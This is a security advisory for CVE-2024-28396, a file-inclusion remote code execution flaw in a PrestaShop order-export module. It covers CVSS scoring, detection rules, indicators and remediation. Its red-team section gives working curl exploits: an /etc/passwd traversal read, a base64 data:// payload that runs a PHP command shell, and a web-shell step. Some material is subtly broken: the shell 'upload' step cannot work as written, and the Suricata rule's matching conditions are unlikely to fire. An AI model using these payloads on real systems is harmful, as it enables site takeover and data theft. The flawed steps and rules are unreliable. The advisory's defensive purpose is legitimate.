CVE-2024-28396

Executive Summary

CVE-2024-28396 is a critical unauthenticated remote code execution (RCE) vulnerability in the MyPrestaModules Orders Export module (version 6.0.2 and earlier) for PrestaShop. The flaw resides in the download.php component, which fails to properly sanitize user-supplied input before passing it to a file inclusion or command execution function. An attacker can exploit this by sending a crafted HTTP request to trigger arbitrary PHP code execution on the server, leading to full site compromise, data exfiltration, or lateral movement within the hosting environment.

This vulnerability is particularly dangerous because it requires no authentication, has a low attack complexity, and affects a widely used e-commerce module. The vendor has not released a patch, and the module is no longer maintained, leaving all installations exposed.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module distributed via the MyPrestaModules marketplace. Since the module is proprietary and not available on public package registries (e.g., Packagist), supply chain risk is limited to direct downloads from the vendor. However, any site using this module is at immediate risk. Users should treat the module as compromised and remove it entirely.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
• Confidentiality (C): High (H) – Full file read possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Can cause denial of service or full takeover.

CVSS Score: 9.8 (Critical) – Immediate patching or mitigation required.

Deep Dive & Mechanics

The vulnerability exists in the download.php file of the Orders Export module. This script is intended to allow administrators to download exported order data as CSV or XML files. However, the file path or filename parameter is not sanitized, allowing an attacker to inject path traversal sequences and subsequently include arbitrary PHP files from the server.

The attack flow:

1. The attacker sends a GET request to /modules/ordersexport/download.php?file=../../../etc/passwd to test for path traversal.
2. If successful, the attacker can then use PHP wrappers (e.g., php://filter, data://) to execute arbitrary code.
3. For example: /modules/ordersexport/download.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ (base64-encoded PHP shell).
4. The server includes the data URI, executing the PHP code and allowing command execution.

The root cause is the use of include() or require() with user-controlled input without proper validation or whitelisting.

Vulnerable vs. Patched Code

Vulnerable Code (v6.0.2):

<?php
// download.php
$file = $_GET['file'];
include($file);
?>

Patched Code (Not Available): A proper fix would validate the file parameter against a whitelist of allowed filenames or use a database lookup:

<?php
// download.php (patched example)
$allowed_files = ['export_orders.csv', 'export_orders.xml'];
$file = basename($_GET['file']);
if (in_array($file, $allowed_files)) {
    $path = '/path/to/exports/' . $file;
    if (file_exists($path)) {
        readfile($path);
    }
}
?>

Since no official patch exists, the only remediation is to remove or disable the module.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A PrestaShop instance with Orders Export module v6.0.2 installed.
• Network access to the /modules/ordersexport/download.php endpoint.

Step 1: Verify Path Traversal

curl -v "http://target.com/modules/ordersexport/download.php?file=../../../etc/passwd"

If the response contains /etc/passwd content, the vulnerability is confirmed.

Step 2: Execute Arbitrary PHP Code Use the data:// wrapper to execute a simple PHP shell:

curl -v "http://target.com/modules/ordersexport/download.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id"

Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3: Upload a Web Shell

# Create a PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload via curl (if writable directory exists)
curl -F "file=@shell.php" "http://target.com/modules/ordersexport/download.php?file=../../../var/www/html/shell.php"

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /modules/ordersexport/download.php with suspicious parameters (e.g., file=, cmd=, data://, php://).
• Look for outbound connections from the web server to unknown IPs after such requests.
• Check for unexpected files in the web root (e.g., shell.php, cmd.php).

Response:

1. Immediately block the IP address of the attacker.
2. Remove the ordersexport module directory: rm -rf /path/to/prestashop/modules/ordersexport.
3. Scan for backdoors: grep -r "system\|exec\|shell_exec\|passthru\|eval\|assert" /path/to/prestashop/.
4. Rotate all database credentials and API keys.
5. Restore from a known good backup if available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /modules/ordersexport/download.php with file= parameter containing ../, data://, php://, or base64 strings.
• Outbound connections to IPs associated with known C2 servers (e.g., 185.xxx.xxx.xxx).

File IOCs:

• Unexpected PHP files in the web root (e.g., shell.php, cmd.php, backdoor.php).
• Modified .htaccess files with AddType or RewriteRule directives.
• New cron jobs executing PHP scripts.

Log IOCs:

• Web server logs showing 200 responses to download.php with file=../../../etc/passwd.
• PHP error logs containing include(): Failed opening 'data://...'.

Detection Engineering

YARA Rule

rule CVE_2024_28396_OrdersExport_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-28396 in MyPrestaModules Orders Export"
        author = "Valters IT"
        date = "2024-03-15"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-28396"
    strings:
        $s1 = "download.php?file=" nocase
        $s2 = "data://" nocase
        $s3 = "php://" nocase
        $s4 = "../" nocase
        $s5 = "system(" nocase
        $s6 = "exec(" nocase
    condition:
        any of ($s1, $s2, $s3, $s4) and any of ($s5, $s6)
}

Sigma Rule

title: CVE-2024-28396 Orders Export RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the vulnerable download.php endpoint with path traversal or PHP wrapper payloads.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'download.php?file='
            - 'data://'
            - 'php://'
            - '../'
    condition: selection
falsepositives:
    - Legitimate admin downloads (rare)
level: critical

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-28396 Orders Export RCE Attempt";
    flow:to_server,established;
    content:"download.php?file="; http_uri;
    content:"../"; distance:0; within:10;
    content:"data://"; distance:0; within:10;
    content:"php://"; distance:0; within:10;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Remove the module: Delete the /modules/ordersexport/ directory entirely.
2. Block access: Add a firewall rule to deny requests to /modules/ordersexport/download.php.
3. Scan for backdoors: Use the YARA rule above to scan the web root.
4. Update credentials: Change all admin passwords, database passwords, and API keys.

Long-term Recommendations:

• Replace the Orders Export module with an alternative from a maintained vendor.
• Implement a Web Application Firewall (WAF) with rules to block path traversal and PHP wrapper attacks.
• Regularly audit third-party modules for vulnerabilities.
• Subscribe to CVE alerts for PrestaShop modules.

Vendor Contact: MyPrestaModules has not responded to disclosure attempts. Users should consider the module abandoned.

Valters IT – DevSecOps & Cyber Threat Intelligence